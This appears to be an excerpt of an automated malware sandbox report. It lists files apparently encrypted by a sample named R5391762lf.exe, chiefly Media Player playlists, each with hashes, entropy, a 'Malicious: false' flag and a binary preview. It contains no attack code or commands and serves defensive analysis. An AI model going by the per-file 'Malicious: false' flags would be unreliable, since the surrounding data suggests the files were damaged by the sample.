C:\Users\jones\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.884294398038022
Encrypted:	false
SSDEEP:	48:psEqB89Usnyhc2pYtqtIAfEZgDcS4Jl54HB7/8GhbsXFuED:hxyhh2JZgDcS+m8GBKFuQ
MD5:	C80B93C55E261EA60D88EDF34DF7ED8C
SHA1:	C137ADD07671183B73E6D720BA45B7998BBCA2DE
SHA-256:	2B9E4650CABC9DE714F01D749E8D8C39403CB987B30C25AF543679D3E23A4E23
SHA-512:	77705DAD7C2C87061DCFABFDDE786880B8F065FF509C4C0F064A1427FEC067A12FF265062E8EE3E41EE8FCC966F18F4D092EE4A1D520FE223F63A3436CD5D0D6
Malicious:	false
Preview:	..1.0f.T.....c...Z..R.T.....O.K^u.<d..>.d+.{u.Q.:......7z5.:....rR\|F.P.~..0..&;.h.w.. ...W.q......B.Y.B[.9...!M7P...8.yR....#....p,C)..$_.tA.g......i .....#.>n.%A..l.x.\|2zV.@U..;7.F..6.{zA8oW.%ii_.k....-r....Vi.......evuw...e.t....(.R."5^...Z~,......N..1. .k..-1.R.=.....9..Y.T.!......'.)......6.gQ......@....9,...V.e.i......s%kU..3.@"F.zl.Z....;..p.I&g'v....]!...Zv..b;$5......x'b:.q.2.....C.Z.D..vu..k.F3p?.9.mc[,Q...f.....a;....)..i.u..?x..B......Y.E.\|.6.N'...m.........C.../.\.2Z..."..0..L>#2,..z.b..#'+...Y.[W..d.....z..XU.' ........!#.y.!>...%=.C.../..R0.}.......p>g't...+.[y.5J....X{......:.O..+F.i.9..#..\.&.........O>..2.Qt..!C..[M..*+(...)....2q.\|/.A.e..]/.=....7K.._'..;.v.......b n...N .#.z..K.";G......uJ#x./g.............sST._...=edw-J3Xl.......@%..%.....E.[....o...is.>..>. I....d.!....o3.J{.H..B.s....bH.6.........&..m.!y..7.u}_...mm..a..._...I.n..F%D3+../&.....B./..Z.SH..,.1..(.I.....<o...{.Un...\...13.wR..&RZ..TQq....(.6....&$.K

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\01_Music_auto_rated_at_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	7.848837923138499
Encrypted:	false
SSDEEP:	24:gh85BiMl7soiK6ME3n/M5V0hsPwTH62HviZ62jUwgwswHP6rodvSQStE3r1i/aK5:gh85nS/3/yuhsPwTnPjUUctFUE3Z4XFX
MD5:	49F87C35365521F78A7B69B2D593247F
SHA1:	223605EE64DB9B0255BA525E46501991671E67CA
SHA-256:	5CB3F3EC74C4CD68C553BCA6E66310BA9A43BE2E991DCE354DFAEEA50B8DC17A
SHA-512:	9D3450E43FD73E0B0B7588FE637EC75722D5705EB5A7B2E4D1C55A220018AEA55434EAAD98229ED73FE22C1A3AF4D43DF0943EAAE4027C8C2B0152D3731AB145
Malicious:	false
Preview:	<?wpl!....#...0].b.^.......Z..u.....%..(.+.........].....2...].IM}...Wl.v.6..^..e.4.8..a9p.UW.ji....{..)....g...:.]>U.Q.L#.\|...r....:.;.$.j..6..h\|.v.lK..nw.~...#p.J..&Eq.Zy......\!.N.\|.n..0.....8..O. ..x.1.@.....H.!h"f).C...5.q..s.\|.7...U1.0............f..<.....q..h"..._#.".#S...K.4g.{.N........^..} m.+EQt..'..;.....M.Rh.b[U.X..u> G0...Rv:...x...>P.\|hRp.!).r4...^..o.pjF.$..+..XH....T.......cO6.}R..s.^Zw.V2o.&.].....\|.},F..).....c.R..j......xS..a.U..d..9r...'.........N.....P..f..I..B.N..i".R..K....,..i..#.W....}L..j.u....&..=F.^.'%..a.......s..y..j....Y...h-s..hhI....)4...MdJ...e......hYR[..?+i..O2&'.X{....;.....0SKC..U8...5.n..s.......v..u..(\|\|l..+w..Z....g!.......C.c..OF>JWr....v..!p.F...$...d?..k/h..Ma..Lj.K..L.....dy......\|.}....e(....Y...O^.....p..BEv...k.KB5.......:...[6...\|....xq..It.b.X..Y.,.......P):.u..+B.1.C..z.r...x.eQ..9.+Y.."Kk..#."....e..B....bz6..YS.Sw....]...Jg.{.=.Q.@.l...yriNm.A.g..1.0\...2I._.w....axF.i..,..H.CS7..g....

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\02_Music_added_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	7.876577783986801
Encrypted:	false
SSDEEP:	48:GCsKWGpeSJMS5wpwUALgV+bBEIdOjXFuED:RhzJMS5wpnJ+bmiOrFuQ
MD5:	84D02ACC7145F81DE7FCC89D4615F89B
SHA1:	F68A2D2A235E98D6DC5C32BFE30712AECEBC1472
SHA-256:	AD6D55FFFFB4326A661C1E2C81F2E7149CD07D9F20EA49619CBEBC3CA32EC015
SHA-512:	F028C6FD990BE84FEF94492F92DED3910BCB5A997CF8708712BE760FDFCD188F129423DA6CD5F2F09211247B3A38EE7BB7B3E9579A57B57BB43E7071D76695B4
Malicious:	false
Preview:	<?wpl.@?....Y./.A.B....p..N...=._....N.(..2zx....x?(t?..Np...(.-L..#..;2U....:f~{..Q.2....]J[<...y$.H.=...\.L....A.l\w...2.fc..8.<....F4.F..,../\D/..\|.W...n#..S...GC3.y....$ ......t.x..o-.cO..H...k.U......b.2/..ryN..........rG{-..W.YN.$..}G..n...F........E6<>3.....8.5S...u."...#$S..m.K([h].C.6.4.^Je....OD..3..X....V.......;.W..8A.v...l..l....7(>...\|.....C/.8..:.....2M..#'X9c......<.@fd....b.....0lT..F.....A.@..Uw....\|....2....G.8.7...l..~y.4d...?...O.D....+..-6V.Pk.H.e.`..uU..1+8eG. .O..n.6o-(..N...J(+....Un..z...........v......l.....WB.G.rZ.......j-u...IA_....3z5...Dh.......LBw"A8.f.is"M.n.\|,..R...c........=..{qg.kF...V.c........b2+.Yo..L.v....".....F3..#s...Q.......0....y!Ql...Q.\|.r..4#......1.3..~....nBs...r.....O.>..om{.(g..n....&tcX....2:.\|g...V.iA.Bf...<p.........,Uh/....leJ....F.?TM...8..a.J.vmK.uG..~...2...1...{....U...v~$.drV5Q.&.]fD..s,.H.+...4<.x@._^b..9.r.f=p...J2z0.F.;........>,C......{.......R....s.7..]

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\03_Music_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	7.87650132257465
Encrypted:	false
SSDEEP:	24:c464CjpHNP2ufsn5grp5xL7mOYgaIkMSCiXUKSZaHToQC+9kLimB/obGomfDWKXp:c464aHBlf3x/ig9CCNIkQbmebcXFuED
MD5:	AF6CE418E630DA1C163B92487D6EAEF5
SHA1:	2D428ED8F2E8B5E202F082B858CBC8B3197A1752
SHA-256:	B81BD22724EB1C1BE7944FB41A0168B0A934B3BE02F9E761F1677C8725C13B73
SHA-512:	21359567DB91648F7C4F1E333C79517A1C70516079D1ADF575DFAD6F5D0297B80CD3B089BAE5FAA2BB6FE54B5248CF2444589D9719EC28899A6E2A2ED1E37D97
Malicious:	false
Preview:	<?wpl.^tq..?c....<..%..9D..I......Ch.Q.4.r.T......FGAn9{p...5n....%DeR..._..H.U.F..-N.M.ab..k..B......+..0..?..E...3.H.l....W)........$.....[...].$.S.zkO..xFTe.!...="].....}f.."........).,!=.:l...M....$H...[....$6..+ng..}...................v])....s...'.f...6).~m...T..)..xat...h...E..&\|3U.J....D_h9]..l..U.j.4.....&.>.g...m.....s..X..Q.Fa.a........O[.m.4.V.+Y..vg...)........gM_9.K\..-... .U.Q.x....8.:...\|vk.....G..Y`< ....c6..y#..@..........@.....5..vJh...g...J.%Mh.z.s$..,}........&y.(.?~...6\|...Ef..S....N.Px...lji...!..g2.G}P.c.r...&.bE...G........'.5.$N9.......z..8..R.4..D#...,..PV.nw....1.pB..M.....y_D.K$....].^P.y{2#DM Za.X%T.........]f.........0h..'Z{.;..gfa...C..'$......%..(...sP...yJ.N.<.....T(..._.=.wg.\|..l+...M.,O4..LK....jC.I....4.t.....-!%,q...dy..6.sZt.......W...{{.(I..8..9.'1.....@.....8 7I.t..{....R.6.......(.Z\.Z..b8.,..H..@...Uo.R]..2.7 -d0...QA.9.2...2......X...h....W/..B...`p.0.V..].d.........m..........l..

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\04_Music_played_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.86723352238112
Encrypted:	false
SSDEEP:	48:MlELr6p6vF7DBYjxcx6LT/gYmbebOFYr80uK6XFuED:MlELrgk7FYNE6P/gYCmnuXFuQ
MD5:	FBC67CD1E2D3207272A14F964E9E1619
SHA1:	F3C0B4B9CE9F56EA1669A1419DF200C8389D8FC9
SHA-256:	3DAC3B74662368AFDEF47BC0129933610DA94B4335EE67CC4843FCB87A0448B4
SHA-512:	41D263FA142C402233027416044C4E127A98DA4ECFE6EBA79683A6F775808BCF930DF9B94C37BC37683824C7D1DE6B1C4BC56EFE51111BF48665CBBFD20B8EA7
Malicious:	false
Preview:	<?wpl..\|~..e...]swf....H..!R.d.\/.Vk.3....._..y[.b...Juv.I..~..5.B.......\.}\...B.r.Bf,...5hm(n.'.w....t........5q...O..2n........$7@.S.&.R:.-fvz....T7.o.x6..k..6...S1A..P.aU.]......<.r...(.:b&q.M......@..;:.54Z.L.....?..t..k../..K..^.Efu.6.G.9r..L1.c...tu.r....N.q@zbd0.!...<...g.CXR6...r[.......anl..Y..6.to."+.R=....#..}...:......L.L.?.`.. ...m......ah..{.k..+%B<..!.K3....D.~....j.V.Z~}jiw.0.....O.r.U..O....V.1...^..Bb..S.l...<.....D.-b(.;j.6...{a8.DO>.y:!.F....x_.\|..q..u.....NL..%4F..0.....G.t4J.y...~........{.;.^'.g....n.fx.2y..dp...~..:......[=(......v/.^..,...1#.Iy\|.+.....6<Y..s..E.Vq#...$...x..P.e...KV_..{...@-..z'...t\|^.e.y.U..)Q.G..#..02...S.......Kv.....!...H.K...b{......#.uC..~..b7..a'I.D...k....9..n......M.xUc....@...[.B5w.L.Ej: ....9ea.\.8."..t..L.0a.7...7.P.F....]..m.....t....po.<./5..7s.'.\|.e*.h1...Hy...h..t......>.Nz.).......sK....8L.4....E.......a.....0...\|..,..Ix@..5...(MX...!..w^...\|).h....&..).H..(........8#..M.<.`...

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\05_Pictures_taken_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.811679825009151
Encrypted:	false
SSDEEP:	24:XGFPdkdG07fTHObVE1eaZ64HLfu2dSVGjRz4C5OCpRbCVV9Gev5j/Xq8uWbD:Whdk97LHKVE1FZ/rfNSVGjNH5JvbCP3T
MD5:	A8F20393650C7C4D9D277EECD25D0AC2
SHA1:	43D99D394E1B9CC6A1E3A502F7A862AFD14B0084
SHA-256:	84EAC22F73966FA96BA67E7EBCB5040CCE677C55B78778FAD96510C988741FCF
SHA-512:	73CFBA531270DE6F84E6EAE696745A371CDCD447AD86145A68FE4B302530DC33250848F15F611C66F9349EC94C054F20B9D19D8368FD91E09CD1F2D5FB855008
Malicious:	false
Preview:	<?wpl^../vh..........-zw.....$1Bd_.kN.mr..qi.....w....#.>...y9...t.J...1..@.1?.c....I9.v..M....oF..~.,.$6...1.:.E5+..2.&..9.3W....M...H8U...@+.$+....(........E...N,..L.(.(.........O(!tPW...~.g.+..FA...X..y~.s....u;2x.J.0..;\|.<.".=..NUbs.....\|.8#p.p..T..x.-C......>.C.\T..}.m...u........?Ke...O#.....5\|..C..X.... .S u..\.G\..:....!A3[..wCQ,.....6$.E..^.....0..ir+t>..EN..p<......%....N.b!.......to{.l.....%.....$.At.Pw..O.<!..K.:AO/,..Y..Y..."}....x...&.......eb.....=.8'...A7.L.f.!.m&P......=Y....f.{{3wh...2...!@,.....>n.8&....V...s.Qd..T&..8..g..;...1N...4FnVy%zx:,....f....P"".N{.$d...,.....&b(...+.08...}}....<.....l....W.q...B.S.5'....i..x...<.z_...K..'.....z=..I.I.(..!Gv.VJ..\...#...Q.q..G...}..(.....X..Y....D..i...U.....n.H...m.....dr.tr...x......aW.6..CK....[^.../.n.t...m...%......54+d=8... .}..WS...Zw...Y...mO........._.+...I..<.........~F.E......Y..m@\.R.l.3(0/.7.\..g.I.Tx.s.+....(...T2Z.2...z....3iu.dPy...EvUJ..............Y.O........y....

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\06_Pictures_rated_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	7.795655121882412
Encrypted:	false
SSDEEP:	24:FFYh14uZpA3ePVG96kHDdD+sQfQOMU8G2pyO0WuHpeDPXq8uWbD:FFYocpA3K8skHDdSsQ1MUj2pp0WuHpeF
MD5:	661214113E80F2EA4AA229811BD81B7C
SHA1:	D66C0C87308308E02852C869BDD6E2A761CE518C
SHA-256:	83738AB3EBD8F3495E217F750968BE6A68F3393A30D838A386D565E863E1A0B3
SHA-512:	C2775B621B10C583DF9CE15B3345BD2AE38B3DC1EEB68C71637E78D74AAE637D12FFF9EAB9BEBF7E3960E3F48EA9E746B277719191EDA0C1F6797AF9B9F4A8D4
Malicious:	false
Preview:	<?wpl....Z..q....k..tS.'e.......@.ix..c6.$.Z..+-..9...2..............u.. G.<.{..Y.k-..p%ZJ...\../.....b.b.aA.?z+..i..2Z^...m/. ..-.-I...h...q........=..[.Y..L...[`....e..)NL.-..zZ.5..Z.y[..%.w.<Y.E..97.dEayT.UU..>....h.l........"...q..4..l.;..)..+f...(....V....<......x....oH../$.nji\8m.R.....M..I:..{tf..Me.o.I0..Q...f..........c......{...#..D...'.Y......z...W...b..D.O.9..l...!..y.(...d6.D.Cp=..>y.nhA..."..z..(.....D..&..B....{...#.......q....}.......sCJX6...5W.R..o...l.....mM.....q..e'S.v6.w&......\|..f4..0..O.......+...P..d..[.R.9a.VN.....3..pR_..B.....Y.`.U......P.hA...u..x.....3.O..c......}..>.#..nq~P.....Th.^.....P..s.f3..Z/...32.]H..L.h.lJ4..s.....:......O...+....P..!F..O:8.4.u6pl....../.~K......L.[.K.O^.s.d.......3...9..#>{..-Y....W5.NqK).hm.N....].M9..U...nO..(....T.....#....d.p.W.ju$.&..q...u..0....._.;v.S.K.,.....>.J..j..).<.^...".2..tl]..0r6...@..J.#g....W@.x...2..1'..[...c.]....R.x.9.DZ..l.M.Z.9;<....H...]......^/. KJ..z`i

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\07_TV_recorded_in_the_last_week.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1374
Entropy (8bit):	7.877940747625111
Encrypted:	false
SSDEEP:	24:gDUox9nqz1lxZZqpO4K50BfTgeTbM2PwLYDaM9wFgYGYcRvXq8uWbD:u9U9qQ3501U2PwLYDaMwOYqXFuED
MD5:	B7F2D42952CDEDE95A0ACF55B9E45666
SHA1:	A4CA7D285569955AB3ADDF9D18A343946F5370C1
SHA-256:	EFCC52926847C3799F304AB5B5096574E414F85B655B7044C17377963090FC69
SHA-512:	9E401E5609393006DE4A2BF4EA6FCF0C4F567C59DF74749C62EC764AC19D5DE36803B4BA97C19B3889C3D85D0990AF8817FB3A7462A907408DB7886194969119
Malicious:	false
Preview:	<?wpl...p..Kb...<......]..+-$ .2.C..t=..v....=.d\|.Rq....W.......K....u...].#\.Q.g1Q\.<ir..'y.3Y.ccP.....`.p#...S`^kbT...4.j......E.\|.l..O..l.m8..3.9D.......W:9?.&..#..m...9.....X>..M.s.0.....y.K.w....Y. Q..\............c...N.@....=q%.}.....u..;........;`...'..=Kq.h.."Os.....%~..J.G8.M.s .@...Bj^.`../...b.....eOr....."Ki...[[...Z.#Y...lLo....\..0..Tg.>..ZN...D...f:..chef.,.X.GcP..C#.t..>.SVG...A...o?Q)h....$d.7..-.E..........T7.J..p..... ...Y..(K.%...T.._^?.Y...mp.km....."b.....v...=2.....4..B.L.........../;.FZp...]...A..Py...Q..1>!.A...J.[x...;u... .d.".3..9..-.;D....rvCI.......%i.'.".=?.....7s=4,...<..1E..tp..b.N.............\|j..>...g...0U.}..e.2o}....(...n@u..X.\.c...B.....4W..t..T\>....._._q.Q.....mV.`.).....m.y.....1....z2..J......(.{.zP....2.cJ..t.....p.z.L..`WX....un..'...X&...........:'Ow.e......3....^d...ju)P...j?V?K....7......"0........v..?#..&...E.6>..&....ST.*.\|....v...F.w.F$...I{BSC......a....K...@.tqg.x.. ..i.b..S..@....

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\08_Video_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.850890680369595
Encrypted:	false
SSDEEP:	24:gbwbGMTDROhFV7pflJnEDTSHc51CFpiFVkJiGYpgPlPG85ONb4KXq8uWbD:g5MTSFV7pfl8yjpA7dolOeKXFuED
MD5:	6C7D3E58F92B5A86626C02EFE11AE78A
SHA1:	AAB34BD069F769EA16A93E03943751A336450221
SHA-256:	A6CEDA5864206F26E45C4313554B1C18779D3D4D54379BD8AE59876D9446C253
SHA-512:	B45C61137DF137D54271D088E26A5529E479F723A054CBCE6DB6B16CD3A9B569C047C46FC6C793D1C5A9F9E81A9B827C84214F984F028AE75B374F68A71D9558
Malicious:	false
Preview:	<?wpl...~[+.v....k.Z.:..?...2.U8....e\|.P0K.t.B...m..Lr.}..2PN$...@.h.....Lj.....qM<..&.c...Gy..].F.0.2.;...4en...Yz..Q].D.........8.O.w.....4/.LJW.....7.l... ...yB.y.R.3.....T....<%#..h.U.y......q..Q,(.. ..{6..;..Z,...$.Lp....nI..r~............O..)..P...N..A1...............-.%V.Sf.....!.;.X./o. cB3.XW....t.'.{.2k..aP<6'k.....C.n.@a.m.....}.hA}1..GU......me....A^.VB.1.s.=D4",)..8.._..O...p..$..H.c.2E.K.=.I..^\|.b.P"5".......`GS.O.Z.a..X.Pxi+r..Vb&.v..X.\/,.k..X.(.B........:...q....:.....C....f.#..+................7.a...o...;.2...@'..<4.c<9"...p.~...#k1..+..Al...@.T...../.V.b..F.#.O.#.k.S.4.....D..0..g>d!...\..w....B..o......\|.-S.V.....].r.@.<x..N.++.c#.v.S.P...KJ...Y.O..`..!?.;x.c.M..,yjQ...t.......2.%,...].....L..R.`y}...%,.7.....=(T..'N?w...t7X.\|..+pv...^.I.0.....EG.W.....N.EK.30.<.[#.>....M.f...KX...,e.0f..=^.<J..MI...L.&.XR..............}).j....-,....A..+...lG[.Xskg=h.8....p,8.7.<..F[f..es&...s..q7...0...`...o.Z........f~..YM..Ya..n.....?HW...

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\09_Music_played_the_most.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.833305330827657
Encrypted:	false
SSDEEP:	24:dnFLiD0ZxhDQ7/7BbvIYqRudk5HUfnxojdSwGO7JwyRS95vskNL22WlwjPHZXq8X:aDExRQD7ZvIYqdTswGaJv095v7l21Kbz
MD5:	F21BF41C62DFD96268A55FE8EE6CB78A
SHA1:	F6EFBAFD0E8B1CE7FBAA1A0EA5E25ABFFA33BD7B
SHA-256:	BF342A5FCCF0F22B3A103047B2C3E68525D27DC9D71AE19DBC2795040A2C20BB
SHA-512:	A3F91994CD64D84D40190F04D8E03E037D1E9DB647BA0CACA6C6D375AD5F7AB0C13F167DEEB1001F09CC3DE2116E34CEAF5225D0CE33640891858B172F4B9BB7
Malicious:	false
Preview:	<?wpl.....g.7R8\.Q~...........[.[l.Dl.......e.....E.>....A........v..x...6.Y..5.[..,.I.<T....2..>.~..:....h{......4.h.oK=.kw..t./...`...V1..1..x1....S.C#1.&....)...c0...6NxmV.....OrP.!N.#...P..k2...R.`....?..~a..@./.y.Q.;..=?...\|..wf...oOI-..^<.S.....;.M.T5.....:.Z[D.p.p.."FyqOo?...Q.8..V.W.dd...u#-d.4.8k..n.\|.L.y=.Y..S..G.G.]~g....Q.u.a.6X....;......]...?.S.]03.z'~..jpB.da....F.d...7=_.@.A...r{nVO.'.H..}..AW[...p...i.5.S.y....O.S..E..A.$...T.J..$..ub...F.........AN.B'7.,...s....h.:...;.._....ph./.f...M....y.Kz.aiG.A...P.[.o2h..Vu..5.Hw..UEE." .8.cwk......~m..........@.v];.`..z~..@.W<z..i.b.m^Z.......a...pv...#.u.P..q.....f.p..U7-]`G..........7..Q.ebG..d..R_.......t..H.....CW..x...#...+...S......._b..e.G.._.]...h...>.2Z]..@..).%..4...(.......@...n......S..kQ..>.Ey......Q-.\|a8...}SL.....q:`n.#..T..k..x...N.-(.Bz.[.>H)..g...}-.....s}.m.:x..#.8.3?..X....D>..6p..AA.../..\|L.[.p.......a.)........z....%..K..B...8s..D.....~:V>..u.0o.....P?..#

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\10_All_Music.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.83584440887542
Encrypted:	false
SSDEEP:	24:yOLU3AoX6GgKVje9x1mNU0drdH/TbXhMML4HKRl4qZ3d+X7z3CL5KhHXAXq8uWbD:yvRX7gEjATmy0jbbR/r3dEeL5YAXFuED
MD5:	5F57DECB3B6AF10D88228A1288125B20
SHA1:	B61FCA222A021CD37B38ABCBB23D1389CD987BD9
SHA-256:	0727BC2CA206F22EABF6F4C82D70E783C6F53A7B6FB85B4021DD0F7039C44F71
SHA-512:	401E33F92EAAB97FD49C4D1515E274631F39599B23E92963AAE5C291802D3D63B987EAE2DDCE5475821E93B106A19EF451538C2995A04D96F733B08B402C6429
Malicious:	false
Preview:	<?wpl.6._.R`\|....HJB...@.5....D&d.~y.IEF.'...t..........Kw.2B=....P....w.....L^4.....K.H+...~.\|sy....ZE.Lu^S..W..\...5.z.M..=.1"w.c....Y]..mJ[.35U{.Z..8....u...Gw..2....?p./.1.7....J..j8^..EW.a...:.D....<.v..........J\FS..}{.Su..._.Qb..C.P..?...J.w0]0.@..?".......WK;{!8..7......7C..~..........`).z.....y....q..1Aj.i.....1.A{'(r.R.[...m..h...;u...ZB..J...lY2.j..B..&....EY....WOD...".w..qV..?.#.........d..2R....%........-7j2.....=.....x...Y.^...Dq.Ji.......<%R..YfD..x...g...U..'{..,N...j2u)..=.~c.s.t..O....i3..5D..(!-.p..-.l%...23.?8.1^{...k.`}.."..,..cB ..D....."KF...\|..6....).c......dM.fm(wE..\|...o...VN.rz%..V....Y...y..j.J.WP..223?t^.....O..J.3.Q\|.}.E.G....B.j3...8]\|.:#..;..l..{.}..P..k.".^..=.....Z..-jE.d....i..t.....'q..y...y5...6.9n^R....t..`..j'"Pv..H..mB....==v. .._.k..z..mb..$k..c..}.%:~."EP...q):q.T...#..;Q..r...8.O...r..TRF...I..3.m+Y.Y...........^./..n........1.K....i.J..h...;m..kv.0.......n.%"E.\....A.z....m..D........U.

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\11_All_Pictures.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.754381944405542
Encrypted:	false
SSDEEP:	24:+ax0ReoqT87RcP188DHqfkqyVVXHf1G77OkiVp0UKRow4swcpCXq8uWbD:+ax0ZqBDHckqyV1Hf1EbVhYzXFuED
MD5:	05FB28FE0FA44D88AB1436C7B7216249
SHA1:	2F4B320D4389D9FB37D39BAF7A1C4A0FCEBFAB1F
SHA-256:	D23C775916785D4480419625802D3E58E9ED49B3CDC9301EC6293FB73236ED9F
SHA-512:	E1C2F4708E2C933E1D5333F1B80513C543D3A6151B5309EEEC3AA91565D31FD7083C33A14B738E4AF4BE6E33088DF7976AEB8223687CA5EF3A4D713268E3722C
Malicious:	false
Preview:	<?wplf...`...H..{.....V..$.<..,.f/.....I.:?F..X\|.)RsS....r.i...eo.%..yA<u..t....q. .hb...>..s....;....uE.....C...Q..z......C.,.}...\|.gE.I.Y.O/...bX..4PhT.i).h......t4U..A@/.8..@@..o...J.W.PaiC..h...9.II...v..4.......a1..~V.._.T.1.L...A...a.H....75o<3.x.....@.fH.0.:..$tbW..VC....,..W.(.(.YI.H..O.X.;#.....Apj.<j5..#%d_......Jd.z......(..e..ir....<.\|...^.r..o.TQ....O...HN/M. z.....?.-.)fw!.^\|...c.......4..L..../.3.H.DGz.:.._;A.k-?6LR..4..0...(..y.....;/o!..W.w.B#...O...N.S......b.bp.-....p.......bw...O..:ZQ().X.....`.f..UC.M../X.a.q......=....a.u<r8x.........\|....p:.x8dR..6..JB......=..P.C....;F^..e.!()L.>e.=..ST.x..G.....\|.......K..)'x.H\..z........B.....O..C.i....@$...2......9.X...f..U..........r.V\|y.7.....O..ORA.J....?.6..c..s.$.k0}.6YF.jy..0.]....U....L.."p.1v... ...c......<.....<...gPxY.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\12_All_Video.wpl

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.827484255946623
Encrypted:	false
SSDEEP:	24:DaergYPKYKAYHG2WH6BCPJMc0vNBHgms8Tx5hjvmqEAZSr2mfqcTBXq8uWbD:DTgY5Kdm24gCBMc0vNBHgms+Tje1VCcP
MD5:	6FA3E439CAF56DF139DAE8466C0A1905
SHA1:	E6B6E155E96E0DB178BA2EE065F045A7FF782096
SHA-256:	4ADEE27F07B022A13A68983AA9485CFC299CD672EF183038CFAED3A12D9B5477
SHA-512:	C246199746D5956D8C832306FEC9F68150F890A9922590C7CBE3383B554E08AD9D42370A14322FF89AD16ED38A41CA59E53A0F0B54508CAA180652973172D72D
Malicious:	false
Preview:	<?wpls...S..=y....0k../.3..r.9a.$.g..;...]A.p.0qm..]qwUB...O(.K.T...\|.C..............'..P%H.jeua\LZ..".4'b"6..$.`..X.....B.%7.O...R10@...-.5..o1....!.Nso&..3.q..nKT..j..&B.9'k..}.-CB..v.....wH.l.L.....I...& ..e.!\|.......#.4.....W.m.0...&.-l&..].......:0.4Kp.....iR..ki.<.V...v49x.....;....j>....%............79...C..Y:.]..Jm..=..0>Q.hnr......X..y..v.^..3......;$..b...M..&.&_.y\|.{{. 4.8O....~Q@.......?8........l..;.4=jBGH..+..Wte@..C.....Z...8....kr..^.\|\.Z.zB.m.&.."bY@..H.......t\|e.0.......u:`gt..Uh1....i.....!.F.U.E4..8.......s.n}.z=.Q..P...X..".v..JqM..w:.7...d$...".r,.7>.....+7.\`R..t..S.x.....r....bD{3.(Hgo.x...%"nCN..r....0.N...C-.YB!.H.CHhR..g...A..e..(`..y.'t..l....)....6.&z..G:e...*....\|c:.{.T..r....M.H.:..G9%........=...}.g.6..&w:...J..H...p...L.RC\.\...eCx......b....6U.5_.E.6....9x.....y.A.}Um&..]..eVB.k.....xT.....TMy\t..#R2r.x..i<.......y.z....c......X....Py=.T..i]y..R.).TW..b,..l7o)..t.q@.r....[..k/.t2....3....gB..(]<.........q..3

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6414BF61-F222-4B9F-A03B-794546D2572C}\{2B7F22E4-0564-47EC-902E-D41100321163}mt11414620.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	7.980550681904823
Encrypted:	false
SSDEEP:	192:nMtm4hI5KhLZrF08iXOPAhGxSvLJalgLdm5nhuoNfkLPx9+VYHQ:Mm4hIkhLn08lA4GJamLdm5nooNfkLPx0
MD5:	7E22B72A5C9647496691C06AA94BB2A6
SHA1:	9303D32EDC0AFB3352AB6A492BC7156CEB0E8AB0
SHA-256:	663C7A9CD9272D960D350B1FE6F13D645A37CBFAE7E8265AA82003886FDD6066
SHA-512:	0FB2C725F2E8331EFF41603A60C3E170D06633E972F6DE4F3F8E1DBE0896DD613CF60048FF2DD5DD5C7BDE1EDF1BB5BF65935E4FE6AADFA6E03E0B4D7D99B6F5
Malicious:	false
